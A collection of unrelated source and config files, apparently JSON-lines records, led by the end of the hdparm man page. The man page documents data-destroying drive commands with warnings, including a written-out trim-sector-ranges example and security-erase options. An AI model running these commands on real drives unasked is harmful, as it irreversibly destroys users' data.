This most likely will scramble all data on the drive.\nThe specified size must be one of 512, 520, 528, 4096, 4160, or 4224.\nVery few drives support values other than 512 and 4096.\n.TP\n.I -t\nPerform timings of device reads for benchmark and comparison purposes.\nFor meaningful results, this operation should be repeated 2-3 times on\nan otherwise inactive system (no other active processes) with at least a\ncouple of megabytes of free memory. This displays the speed of reading\nthrough the buffer cache to the disk without any prior caching of data.\nThis measurement is an indication of how fast the drive can sustain\nsequential data reads under Linux, without any filesystem overhead. To\nensure accurate measurements, the buffer cache is flushed during the\nprocessing of\n.I -t\nusing the BLKFLSBUF ioctl.\n.TP\n.I -T\nPerform timings of cache reads for benchmark and comparison purposes.\nFor meaningful results, this operation should be repeated 2-3 times\non an otherwise inactive system (no other active processes) with at\nleast a couple of megabytes of free memory. This displays the speed\nof reading directly from the Linux buffer cache without disk access.\nThis measurement is essentially an indication of the throughput of the\nprocessor, cache, and memory of the system under test.\n.TP\n.I --trim-sector-ranges\nFor Solid State Drives (SSDs).\n.B EXCEPTIONALLY DANGEROUS. DO NOT USE THIS OPTION!!\nTells the drive firmware \nto discard unneeded data sectors, destroying any data that may have\nbeen present within them. This makes those sectors available for\nimmediate use by the firmware's garbage collection mechanism, to\nimprove scheduling for wear-leveling of the flash media.\nThis option expects one or more sector range pairs immediately after the option:\nan LBA starting address, a colon, and a sector count (max 65535), with no intervening spaces.\n.B EXCEPTIONALLY DANGEROUS. DO NOT USE THIS OPTION!!\n.IP\nE.g.\n.B hdparm --trim-sector-ranges 1000:4 7894:16 /dev/sdz\n.TP\n.I --trim-sector-ranges-stdin\nIdentical to\n.B --trim-sector-ranges\nabove, except the list of lba:count pairs is read from stdin\nrather than being specified on the command line. This can be used\nto avoid problems with excessively long command lines. It also permits\nbatching of many more sector ranges into single commands to the drive,\nup to the currently configured transfer limit (max_sectors_kb). \n.TP\n.I -u\nGet/set the interrupt-unmask flag for the drive. A setting of\n.B 1\npermits the\ndriver to unmask other interrupts during processing of a disk interrupt,\nwhich greatly improves Linux\\'s responsiveness and eliminates \"serial port\noverrun\" errors.\n.B Use this feature with caution:\nsome drive/controller combinations do\nnot tolerate the increased I/O latencies possible when this feature is enabled,\nresulting in\n.B massive filesystem corruption.\nIn particular,\n.B CMD-640B\nand\n.B RZ1000\n(E)IDE interfaces can be\n.B unreliable\n(due to a hardware flaw) when this option is used with kernel versions earlier\nthan 2.0.13. Disabling the\n.B IDE prefetch\nfeature of these interfaces (usually a BIOS/CMOS setting)\nprovides a safe fix for the problem for use with earlier kernels.\n.TP\n.I -v \nDisplay some basic settings, similar to \\-acdgkmur for IDE.\nThis is also the default behaviour when no options are specified.\n.TP\n.I -V\nDisplay program version and exit immediately.\n.TP\n.I --verbose \nDisplay extra diagnostics from some commands.\n.TP\n.I -w\nPerform a device reset\n.B (DANGEROUS).\nDo NOT use this option.\nIt exists for unlikely situations where a reboot might otherwise be\nrequired to get a confused drive back into a useable state.\n.TP\n.I --write-sector\nWrites zeros to the specified sector number. VERY DANGEROUS.\nThe sector number must be given (base10) after this option.\nhdparm will issue a low-level write (completely bypassing the usual block layer read/write mechanisms)\nto the specified sector. This can be used to force a drive to repair a bad sector (media error).\n.TP\n.I -W\nGet/set the IDE/SATA drive\\'s write-caching feature.\n.TP\n.I -X \nSet the IDE transfer mode for (E)IDE/ATA drives.\nThis is typically used in combination with\n.B -d1\nwhen enabling DMA to/from a drive on a supported interface chipset, where\n.B -X mdma2\nis used to select multiword DMA mode2 transfers and\n.B -X sdma1 \nis used to select simple mode 1 DMA transfers.\nWith systems which support UltraDMA burst timings,\n.B -X udma2\nis used to select UltraDMA mode2 transfers (you\\'ll need to prepare\nthe chipset for UltraDMA beforehand).\nApart from that, use of this option is\n.B seldom necessary\nsince most/all modern IDE drives default to their fastest PIO transfer mode\nat power-on. Fiddling with this can be both needless and risky.\nOn drives which support alternate transfer modes,\n.B -X\ncan be used to switch the mode of the drive\n.B only.\nPrior to changing the transfer mode, the IDE interface should be jumpered\nor programmed (see\n.B -p\noption)\nfor the new mode setting to prevent loss and/or corruption of data.\n.I Use this with extreme caution!\nFor the PIO (Programmed Input/Output)\ntransfer modes used by Linux, this value is simply the desired\nPIO mode number plus 8.\nThus, a value of 09 sets PIO mode1, 10 enables PIO mode2,\nand 11 selects PIO mode3.\nSetting 00 restores the drive\\'s \"default\" PIO mode, and 01 disables IORDY.\nFor multiword DMA, the value used is the desired DMA mode number\nplus 32. for UltraDMA, the value is the desired UltraDMA mode number\nplus 64.\n.TP\n.I -y\nForce an IDE drive to immediately enter the low power consumption\n.B standby\nmode, usually causing it to spin down.\nThe current power mode status can be checked using the\n.B -C\noption.\n.TP\n.I -Y\nForce an IDE drive to immediately enter the lowest power consumption\n.B sleep\nmode, causing it to shut down completely. A hard or soft reset\nis required before the drive can be accessed again\n(the Linux IDE driver will automatically handle issuing a reset if/when needed).\nThe current power mode status can be checked using the\n.B -C\noption.\n.TP\n.I -z\nForce a kernel re-read of the partition table of the specified device(s).\n.TP\n.I -Z\nDisable the automatic power-saving function of certain Seagate drives\n(ST3xxx models?), to prevent them from idling/spinning-down\nat inconvenient times.\n.TP\n.SH ATA Security Feature Set\n.PP\nThese switches are\n.B DANGEROUS\nto experiment with, and might not work with some kernels.\n.B USE AT YOUR OWN RISK.\n.TP\n.I --security-help \nDisplay terse usage info for all of the \\--security-* options.\n.TP\n.I --security-freeze \nFreeze the drive\\'s security settings.\nThe drive does not accept any security commands until next power-on reset.\nUse this function in combination with \\--security-unlock to protect drive\nfrom any attempt to set a new password. Can be used standalone, too.\nNo other options are permitted on the command line with this one.\n.TP\n.I --security-prompt-for-password\nPrompt for the --security PWD rather than getting from the command line args.\nThis avoids having passwords show up in shell history or in /proc/self/cmdline during execution.\n.TP\n.I --security-unlock PWD \nUnlock the drive, using password PWD.\nPassword is given as an ASCII string and is padded with NULs to reach 32 bytes.\nThe applicable drive password is selected with the \\--user-master switch\n(default is \"user\" password).\nNo other options are permitted on the command line with this one.\n.TP\n.I --security-set-pass PWD \nLock the drive, using password PWD (Set Password)\n.B (DANGEROUS).\nPassword is given as an ASCII string and is padded with NULs to reach 32 bytes.\nUse the special password\n.B NULL\nto set an empty password.\nThe applicable drive password is selected with the \\--user-master switch\n(default is \"user\" password)\nand the applicable security mode with the \\--security-mode switch.\nNo other options are permitted on the command line with this one.\n.TP\n.I --security-disable PWD \nDisable drive locking, using password PWD.\nPassword is given as an ASCII string and is padded with NULs to reach 32 bytes.\nThe applicable drive password is selected with the \\--user-master switch\n(default is \"user\" password).\nNo other options are permitted on the command line with this one.\n.TP\n.I --security-erase PWD\nErase (locked) drive, using password PWD\n.B (DANGEROUS).\nPassword is given as an ASCII string and is padded with NULs to reach 32 bytes.\nUse the special password\n.B NULL\nto represent an empty password.\nThe applicable drive password is selected with the \\--user-master switch\n(default is \"user\" password).\nNo other options are permitted on the command line with this one.\n.TP\n.I --security-erase-enhanced PWD\nEnhanced erase (locked) drive, using password PWD\n.B (DANGEROUS).\nPassword is given as an ASCII string and is padded with NULs to reach 32 bytes.\nThe applicable drive password is selected with the \\--user-master switch\n(default is \"user\" password).\nNo other options are permitted on the command line with this one.\n.TP\n.I --user-master USER\nSpecifies which password (user/master) to select.\n.B Defaults to \"user\" password.\nOnly useful in combination with \\--security-unlock, \\--security-set-pass,\n\\--security-disable, \\--security-erase or \\--security-erase-enhanced.\n u user password\n m master password\n\n.TP\n.I --security-mode MODE \nSpecifies which security mode (high/maximum) to set.\n.B Defaults to high.\nOnly useful in combination with \\--security-set-pass.\n h high security\n m maximum security\n\n.B THIS FEATURE IS EXPERIMENTAL AND NOT WELL TESTED. USE AT YOUR OWN RISK.\n.SH FILES\n/etc/hdparm.conf\n.SH BUGS\nAs noted above, the\n.B -m sectcount\nand\n.B -u 1\noptions should be used with caution at first, preferably on a\nread-only filesystem. Most drives work well with these features, but\na few drive/controller combinations are not 100% compatible. Filesystem\ncorruption may result. Backup everything before experimenting!\n.PP\nSome options (e.g. \\-r for SCSI) may not work with old kernels as \nnecessary ioctl()\\'s were not supported.\n.PP\nAlthough this utility is intended primarily for use with SATA/IDE hard disk\ndevices, several of the options are also valid (and permitted) for use with \nSCSI hard disk devices and MFM/RLL hard disks with XT interfaces.\n.PP\nThe Linux kernel up until 2.6.12 (and probably later) doesn\\'t handle the\nsecurity unlock and disable commands gracefully and will segfault and in some\ncases even panic. The security commands however might indeed have been executed\nby the drive. This poor kernel behaviour makes the PIO data security commands\nrather useless at the moment.\n.PP\nNote that the \"security erase\" and \"security disable\" commands have been\nimplemented as two consecutive PIO data commands and will not succeed on a\nlocked drive because the second command will not be issued after the segfault.\nSee the code for hints how patch it to work around this problem. Despite the\nsegfault it is often still possible to run two instances of hdparm\nconsecutively and issue the two necessary commands that way.\n.SH AUTHOR\n.B hdparm\nhas been written by Mark Lord <mlord@pobox.com>, the original primary\ndeveloper and maintainer of the (E)IDE driver for Linux, and current contributor\nto the libata subsystem, along with suggestions and patches from many netfolk.\n.PP\nThe disable Seagate auto-powersaving code\nis courtesy of Tomi Leppikangas(tomilepp@paju.oulu.fi).\n.PP\nSecurity freeze command by Benjamin Benz, 2005.\n.PP\nPIO data out security commands by Leonard den Ottolander, 2005.\nSome other parts by Benjamin Benz and others.\n.SH SEE ALSO\n.B http://www.t13.org/\nTechnical Committee T13 AT Attachment (ATA/ATAPI) Interface.\n.PP\n.B http://www.serialata.org/\nSerial ATA International Organization.\n.PP\n.B http://www.compactflash.org/\nCompactFlash Association.\n"} {"text": "%YAML 1.1\n%TAG !u! tag:unity3d.com,2011:\n--- !u!21 &2100000\nMaterial:\n serializedVersion: 6\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_Name: 06_Unlit_Textured_Trans_Cutoff_DoubleSide\n m_Shader: {fileID: 4800000, guid: c4edd00ff2db5b24391a4fcb1762e459, type: 3}\n m_ShaderKeywords: _ALPHATEST_ON _BLENDMODE_ALPHA _DOUBLESIDED_ON _SURFACE_TYPE_TRANSPARENT\n m_LightmapFlags: 4\n m_EnableInstancingVariants: 0\n m_DoubleSidedGI: 1\n m_CustomRenderQueue: 3000\n stringTagMap:\n RenderType: Transparent\n disabledShaderPasses:\n - Forward\n - DepthOnly\n - DepthForwardOnly\n - ForwardOnly\n - GBuffer\n - GBufferWithPrepass\n - MOTIONVECTORS\n - TransparentDepthPrepass\n - META\n - SHADOWCASTER\n - TransparentBackface\n - TransparentBackfaceDebugDisplay\n - TransparentDepthPostpass\n - RayTracingPrepass\n m_SavedProperties:\n serializedVersion: 3\n m_TexEnvs:\n - _AnisotropyMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _BaseColorMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _BentNormalMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _BentNormalMapOS:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _DetailMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _DistortionVectorMap:\n m_Texture: {fileID: 8400000, guid: f330dd40525168e41af9843c1433c8ec, type: 2}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _EmissiveColorMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _HeightMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _MainTex:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _MaskMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _NormalMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _NormalMapOS:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _SpecularColorMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _SubsurfaceRadiusMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _TangentMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _TangentMapOS:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _ThicknessMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _UnlitColorMap:\n m_Texture: {fileID: 2800000, guid: b23bea53bdbdb5a4aaacf12522910599, type: 3}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n m_Floats:\n - _ATDistance: 1\n - _AddPrecomputedVelocity: 0\n - _AlbedoAffectEmissive: 0\n - _AlphaCutoff: 0.5\n - _AlphaCutoffEnable: 1\n - _AlphaDstBlend: 10\n - _AlphaSrcBlend: 1\n - _AlphaToMask: 0\n - _AlphaToMaskInspectorValue: 0\n - _Anisotropy: 0\n - _BlendMode: 0\n - _CoatCoverage: 1\n - _CoatIOR: 0.5\n - _CullMode: 0\n - _Cutoff: 0.5\n - _DepthOffsetEnable: 0\n - _DetailAlbedoScale: 1\n - _DetailNormalScale: 1\n - _DetailSmoothnessScale: 1\n - _DisplacementLockObjectScale: 1\n - _DisplacementLockTilingScale: 1\n - _DisplacementMode: 0\n - _DistortionBlendMode: 0\n - _DistortionBlurBlendMode: 0\n - _DistortionBlurDstBlend: 1\n - _DistortionBlurRemapMax: 1\n - _DistortionBlurRemapMin: 0\n - _DistortionBlurScale: 1\n - _DistortionBlurSrcBlend: 1\n - _DistortionDepthTest: 0\n - _DistortionDstBlend: 1\n - _DistortionEnable: 1\n - _DistortionOnly: 1\n - _DistortionScale: 5\n - _DistortionSrcBlend: 1\n - _DistortionVectorBias: -1\n - _DistortionVectorScale: 2\n - _DoubleSidedEnable: 1\n - _DoubleSidedNormalMode: 1\n - _Drag: 1\n - _DstBlend: 10\n - _EmissiveColorMode: 1\n - _EmissiveExposureWeight: 1\n - _EmissiveIntensity: 1\n - _EmissiveIntensityUnit: 0\n - _EnableBlendModePreserveSpecularLighting: 1\n - _EnableFogOnTransparent: 0\n - _EnableSpecularOcclusion: 0\n - _EnableWind: 0\n - _HdrpVersion: 2\n - _HeightAmplitude: 0.02\n - _HeightCenter: 0.5\n - _HeightMax: 1\n - _HeightMin: -1\n - _IOR: 1\n - _IncludeIndirectLighting: 1\n - _InitialBend: 1\n - _InvTilingScale: 1\n - _LinkDetailsWithBase: 1\n - _MaterialID: 1\n - _Metallic: 0\n - _NormalMapSpace: 0\n - _NormalScale: 1\n - _OpaqueCullMode: 2\n - _PPDLodThreshold: 5\n - _PPDMaxSamples: 15\n - _PPDMinSamples: 5\n - _PPDPrimitiveLength: 1\n - _PPDPrimitiveWidth: 1\n - _PreRefractionPass: 0\n - _RefractionMode: 0\n - _ShiverDirectionality: 0.5\n - _ShiverDrag: 0.2\n - _Smoothness: 1\n - _SmoothnessRemapMax: 1\n - _SmoothnessRemapMin: 0\n - _SrcBlend: 1\n - _StencilRef: 0\n - _StencilRefDepth: 0\n - _StencilRefDistortionVec: 4\n - _StencilRefMV: 32\n - _StencilWriteMask: 6\n - _StencilWriteMaskDepth: 8\n - _StencilWriteMaskDistortionVec: 4\n - _StencilWriteMaskMV: 40\n - _Stiffness: 1\n - _SubsurfaceProfile: 0\n - _SubsurfaceRadius: 1\n - _SurfaceType: 1\n - _TexWorldScale: 1\n - _Thickness: 1\n - _ThicknessMultiplier: 1\n - _TransparentCullMode: 2\n - _TransparentSortPriority: 0\n - _TransparentZWrite: 0\n - _UVBase: 0\n - _UVDetail: 0\n - _UseEmissiveIntensity: 0\n - _ZTestDepthEqualForOpaque: 4\n - _ZTestMode: 8\n - _ZTestModeDistortion: 8\n - _ZTestTransparent: 4\n - _ZWrite: 0\n m_Colors:\n - _BaseColor: {r: 1, g: 1, b: 1, a: 1}\n - _Color: {r: 0, g: 0, b: 0, a: 1}\n - _DoubleSidedConstants: {r: 1, g: 1, b: -1, a: 0}\n - _EmissionColor: {r: 1, g: 1, b: 1, a: 1}\n - _EmissiveColor: {r: 0, g: 0, b: 0, a: 1}\n - _EmissiveColorLDR: {r: 0, g: 0, b: 0, a: 1}\n - _InvPrimScale: {r: 1, g: 1, b: 0, a: 0}\n - _SpecularColor: {r: 1, g: 1, b: 1, a: 1}\n - _TransmittanceColor: {r: 1, g: 1, b: 1, a: 1}\n - _UVDetailsMappingMask: {r: 1, g: 0, b: 0, a: 0}\n - _UVMappingMask: {r: 1, g: 0, b: 0, a: 0}\n - _UnlitColor: {r: 1, g: 1, b: 1, a: 1}\n - _UnlitColorMap_MipInfo: {r: 0, g: 0, b: 0, a: 0}\n m_BuildTextureStacks: []\n--- !u!114 &6549346817917000746\nMonoBehaviour:\n m_ObjectHideFlags: 11\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 0}\n m_Enabled: 1\n m_EditorHideFlags: 0\n m_Script: {fileID: 11500000, guid: da692e001514ec24dbc4cca1949ff7e8, type: 3}\n m_Name: \n m_EditorClassIdentifier: \n version: 9\n"} {"text": "/* (c) 2018 Open Source Geospatial Foundation - all rights reserved\n * This code is licensed under the GPL 2.0 license, available at the root\n * application directory.\n */\npackage org.geoserver.api.features;\n\nimport com.fasterxml.jackson.annotation.JsonIgnore;\nimport com.fasterxml.jackson.annotation.JsonPropertyOrder;\nimport com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlRootElement;\nimport java.io.IOException;\nimport java.util.*;\nimport java.util.logging.Level;\nimport java.util.logging.Logger;\nimport org.geoserver.api.APIRequestInfo;\nimport org.geoserver.api.AbstractCollectionDocument;\nimport org.geoserver.api.CollectionExtents;\nimport org.geoserver.api.Link;\nimport org.geoserver.api.QueryablesDocument;\nimport org.geoserver.catalog.FeatureTypeInfo;\nimport org.geoserver.config.GeoServer;\nimport org.geoserver.config.ServiceInfo;\nimport org.geoserver.ows.URLMangler;\nimport org.geoserver.ows.util.ResponseUtils;\nimport org.geotools.geometry.jts.ReferencedEnvelope;\nimport org.geotools.util.logging.Logging;\nimport org.opengis.feature.type.FeatureType;\nimport org.springframework.http.MediaType;\n\n/** Description of a single collection, that will be serialized to JSON/XML/HTML */\n@JsonPropertyOrder({\"id\", \"title\", \"description\", \"extent\", \"links\"})\n@JacksonXmlRootElement(localName = \"Collection\", namespace = \"http://www.opengis.net/wfs/3.0\")\npublic class CollectionDocument extends AbstractCollectionDocument {\n static final Logger LOGGER = Logging.getLogger(CollectionDocument.class);\n\n FeatureTypeInfo featureType;\n String mapPreviewURL;\n List<String> crs;\n\n public CollectionDocument(GeoServer geoServer, FeatureTypeInfo featureType, List<String> crs) {\n super(featureType);\n // basic info\n String collectionId = featureType.prefixedName();\n this.id = collectionId;\n this.title = featureType.getTitle();\n this.description = featureType.getAbstract();\n ReferencedEnvelope bbox = featureType.getLatLonBoundingBox();\n setExtent(new CollectionExtents(bbox));\n this.featureType = featureType;\n this.crs = crs;\n\n // links\n Collection<MediaType> formats =\n APIRequestInfo.get().getProducibleMediaTypes(FeaturesResponse.class, true);\n String baseUrl = APIRequestInfo.get().getBaseURL();\n for (MediaType format : formats) {\n String apiUrl =\n ResponseUtils.buildURL(\n baseUrl,\n \"ogc/features/collections/\" + collectionId + \"/items\",\n Collections.singletonMap(\"f\", format.toString()),\n URLMangler.URLType.SERVICE);\n addLink(\n new Link(\n apiUrl,\n Link.REL_ITEMS,\n format.toString(),\n collectionId + \" items as \" + format.toString(),\n \"items\"));\n }\n addSelfLinks(\"ogc/features/collections/\" + id);\n\n // describedBy as GML schema\n String describedByHref =\n ResponseUtils.buildURL(\n baseUrl,\n \"wfs\",\n new HashMap<String, String>() {\n {\n put(\"service\", \"WFS\");\n put(\"version\", \"2.0\");\n put(\"request\", \"DescribeFeatureType\");\n put(\"typenames\", featureType.prefixedName());\n }\n },\n URLMangler.URLType.SERVICE);\n Link describedBy =\n new Link(describedByHref, \"describedBy\", \"application/xml\", \"Schema for \" + id);\n addLink(describedBy);\n\n // queryables\n addLinksFor(\n \"ogc/features/collections/\"\n + ResponseUtils.urlEncode(featureType.prefixedName())\n + \"/queryables\",\n QueryablesDocument.class,\n \"Queryable attributes as \",\n \"queryables\",\n null,\n \"queryables\");\n\n // map preview\n if (isWMSAvailable(geoServer)) {\n Map<String, String> kvp = new HashMap<>();\n kvp.put(\"LAYERS\", featureType.prefixedName());\n kvp.put(\"FORMAT\", \"application/openlayers\");\n this.mapPreviewURL =\n ResponseUtils.buildURL(baseUrl, \"wms/reflect\", kvp, URLMangler.URLType.SERVICE);\n }\n }\n\n private boolean isWMSAvailable(GeoServer geoServer) {\n ServiceInfo si =\n geoServer\n .getServices()\n .stream()\n .filter(s -> \"WMS\".equals(s.getId()))\n .findFirst()\n .orElse(null);\n return si != null;\n }\n\n @JsonIgnore\n public FeatureType getSchema() {\n try {\n return featureType.getFeatureType();\n } catch (IOException e) {\n LOGGER.log(Level.INFO, \"Failed to compute feature type\", e);\n return null;\n }\n }\n\n @JsonIgnore\n public String getMapPreviewURL() {\n return mapPreviewURL;\n }\n\n public List<String> getCrs() {\n return crs;\n }\n}\n"} {"text": "name = \"frontend\"\ntype = \"webpack\"\naccount_id = \"\"\nworkers_dev = true\nroute = \"\"\nzone_id = \"\"\n\n[site]\nbucket = \"public\"\nentry-point = \"workers-site\"\n"} {"text": "//\n// Generated by class-dump 3.5 (64 bit).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n#import <objc/NSObject.h>\n\n@class ACAccountStore;\n\n@interface ACRemoteCommandHandler : NSObject\n{\n ACAccountStore *_accountStore;\n}\n\n- (void).cxx_destruct;\n- (id)_localAccountMatchingRemoteAccount:(id)arg1;\n- (void)_deleteAccount:(id)arg1 withCompletion:(CDUnknownBlockType)arg2;\n- (void)_promptUserForAccountCredential:(id)arg1 withOptions:(id)arg2 completion:(CDUnknownBlockType)arg3;\n- (void)_authenticateAccount:(id)arg1 withCompletion:(CDUnknownBlockType)arg2;\n- (void)_updateAccount:(id)arg1 withCompletion:(CDUnknownBlockType)arg2;\n- (void)_saveAccount:(id)arg1 completion:(CDUnknownBlockType)arg2;\n- (void)_addAccount:(id)arg1 withOptions:(id)arg2 completion:(CDUnknownBlockType)arg3;\n- (void)_removeAllAccountsWithCompletion:(CDUnknownBlockType)arg1;\n- (void)handleCommand:(id)arg1 forAccount:(id)arg2 options:(id)arg3 completion:(CDUnknownBlockType)arg4;\n- (id)init;\n\n@end\n\n"} {"text": "# This file is part of the Sylius package.\n# (c) Paweł Jędrzejewski\n\ndefault:\n suites:\n ui_locales:\n contexts:\n - sylius.behat.context.hook.doctrine_orm\n\n - sylius.behat.context.transform.channel\n - sylius.behat.context.transform.locale\n - sylius.behat.context.transform.shared_storage\n - sylius.behat.context.transform.lexical\n\n - sylius.behat.context.setup.channel\n - sylius.behat.context.setup.locale\n - sylius.behat.context.setup.product\n\n - sylius.behat.context.ui.channel\n - sylius.behat.context.ui.shop.locale\n - sylius.behat.context.ui.shop.product\n\n filters:\n tags: \"@locales && @ui\"\n"} {"text": "(module Jack_6.35mm_Neutrik_NRJ4HF_Horizontal (layer F.Cu) (tedit 5BF470E4)\n (descr \"Slim Jacks, 6.35mm (1/4in) mono jack, switched, fully threaded nose, https://www.neutrik.com/en/product/nrj4hf\")\n (tags \"neutrik jack slim\")\n (fp_text reference REF** (at 6.35 -3.5) (layer F.SilkS)\n (effects (font (size 1 1) (thickness 0.15)))\n )\n (fp_text value Jack_6.35mm_Neutrik_NRJ4HF_Horizontal (at 6.35 15) (layer F.Fab)\n (effects (font (size 1 1) (thickness 0.15)))\n )\n (fp_text user %R (at 6.35 5.715) (layer F.Fab)\n (effects (font (size 1 1) (thickness 0.15)))\n )\n (fp_line (start 25.85 1.73) (end 16.95 1.73) (layer F.Fab) (width 0.1))\n (fp_line (start 25.85 12.73) (end 25.85 1.73) (layer F.Fab) (width 0.1))\n (fp_line (start 16.95 12.73) (end 25.85 12.73) (layer F.Fab) (width 0.1))\n (fp_line (start -7.35 -2.09) (end 16.95 -2.09) (layer F.Fab) (width 0.1))\n (fp_line (start -7.35 13.66) (end -7.35 -2.09) (layer F.Fab) (width 0.1))\n (fp_line (start 16.95 13.66) (end -7.35 13.66) (layer F.Fab) (width 0.1))\n (fp_line (start 16.95 -2.09) (end 16.95 13.66) (layer F.Fab) (width 0.1))\n (fp_line (start -7.85 14.16) (end 26.35 14.16) (layer F.CrtYd) (width 0.05))\n (fp_line (start 26.35 14.16) (end 26.35 -2.59) (layer F.CrtYd) (width 0.05))\n (fp_line (start 26.35 -2.59) (end -7.85 -2.59) (layer F.CrtYd) (width 0.05))\n (fp_line (start -7.85 14.16) (end -7.85 -2.59) (layer F.CrtYd) (width 0.05))\n (fp_line (start 16.95 -2.09) (end 16.95 13.66) (layer Dwgs.User) (width 0.1))\n (fp_line (start -7.47 13.78) (end 17.07 13.78) (layer F.SilkS) (width 0.12))\n (fp_line (start -7.47 13.78) (end -7.47 -2.21) (layer F.SilkS) (width 0.12))\n (fp_line (start 25.97 12.85) (end 17.07 12.85) (layer F.SilkS) (width 0.12))\n (fp_line (start 25.97 12.85) (end 25.97 1.61) (layer F.SilkS) (width 0.12))\n (fp_line (start 25.97 1.61) (end 17.07 1.61) (layer F.SilkS) (width 0.12))\n (fp_line (start 17.07 -2.21) (end 17.07 13.78) (layer F.SilkS) (width 0.12))\n (fp_line (start -7.47 -2.21) (end 17.07 -2.21) (layer F.SilkS) (width 0.12))\n (pad T thru_hole circle (at 0 0) (size 3 3) (drill 1.5) (layers *.Cu *.Mask))\n (pad S thru_hole circle (at 12.7 0) (size 3 3) (drill 1.5) (layers *.Cu *.Mask))\n (pad SN thru_hole circle (at 12.7 11.43) (size 3 3) (drill 1.5) (layers *.Cu *.Mask))\n (pad \"\" np_thru_hole circle (at 3.15 2.13) (size 3 3) (drill 3) (layers *.Cu *.Mask))\n (pad \"\" np_thru_hole circle (at 9.5 11.43) (size 2 2) (drill 2) (layers *.Cu *.Mask))\n (pad \"\" np_thru_hole circle (at 9.5 0) (size 2 2) (drill 2) (layers *.Cu *.Mask))\n (pad TN thru_hole circle (at 0 11.43) (size 3 3) (drill 1.5) (layers *.Cu *.Mask))\n (model ${KISYS3DMOD}/Connector_Audio.3dshapes/Jack_6.35mm_Neutrik_NRJ4HF_Horizontal.wrl\n (at (xyz 0 0 0))\n (scale (xyz 1 1 1))\n (rotate (xyz 0 0 0))\n )\n)\n"} {"text": "<html xmlns:th=\"http://www.thymeleaf.org\">\n<body>\n\n<div th:if=\"${uploadedFile}\">\n <h2> Uploaded File Details </h2>\n <table>\n <tr>\n ${uploadedFile}\n <td>FileName:</td>\n <td>${uploadedFile.fileName}</td>\n </tr>\n <tr>\n <td>Type:</td>\n <td>${uploadedFile.contentType}</td>\n </tr>\n </table>\n</div>"} {"text": "---\r\n-api-id: P:Windows.UI.Input.Spatial.SpatialInteractionSourceLocation.AngularVelocity\r\n-api-type: winrt property\r\n---\r\n\r\n<!-- Property syntax.\r\npublic IReference<Vector3> AngularVelocity { get; }\r\n-->\r\n\r\n# Windows.UI.Input.Spatial.SpatialInteractionSourceLocation.AngularVelocity\r\n\r\n## -description\r\nGets the angular velocity of a hand or motion controller.\r\n\r\n## -property-value\r\nThe angular velocity.\r\n\r\n## -remarks\r\nThe angular velocity is expressed in an axis-angle representation. The unit vector is the axis of rotation and the magnitude is the angular speed in radians per second, following the right-hand rule.\r\n\r\n## -see-also\r\n\r\n## -examples\r\n\r\n"} {"text": "Before posting an issue:\n - avoid opening a new issue if you need a simple or a yes/no answer, use `gitter` instead\n - check if the same issue has already been reported\n - check if the enhancement is already mentioned in the `TODO project`\n\nWhen writing an issue:\n - use the markdown formatting to make the issue easier to read\n - if the issue is specific to some git version start the title with `[git]` or `[git:<branch>]`\n - don't worry about being sarcastic ;-)\n - for bugs/unexpected behavior, use the following \"template\"\n - remove the template text you don't need, like these first 11 lines\n\n**Open different issues for different and unrelated bugs/requests**\n\n---\n\nShort description of the issue, if the title isn't enough.\n\n#### Expected Behavior\n\n\n#### Actual Behavior\n\n\n#### Step to reproduce\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<MetaDataObject xmlns=\"http://v8.1c.ru/8.3/MDClasses\" xmlns:app=\"http://v8.1c.ru/8.2/managed-application/core\" xmlns:cfg=\"http://v8.1c.ru/8.1/data/enterprise/current-config\" xmlns:cmi=\"http://v8.1c.ru/8.2/managed-application/cmi\" xmlns:ent=\"http://v8.1c.ru/8.1/data/enterprise\" xmlns:lf=\"http://v8.1c.ru/8.2/managed-application/logform\" xmlns:style=\"http://v8.1c.ru/8.1/data/ui/style\" xmlns:sys=\"http://v8.1c.ru/8.1/data/ui/fonts/system\" xmlns:v8=\"http://v8.1c.ru/8.1/data/core\" xmlns:v8ui=\"http://v8.1c.ru/8.1/data/ui\" xmlns:web=\"http://v8.1c.ru/8.1/data/ui/colors/web\" 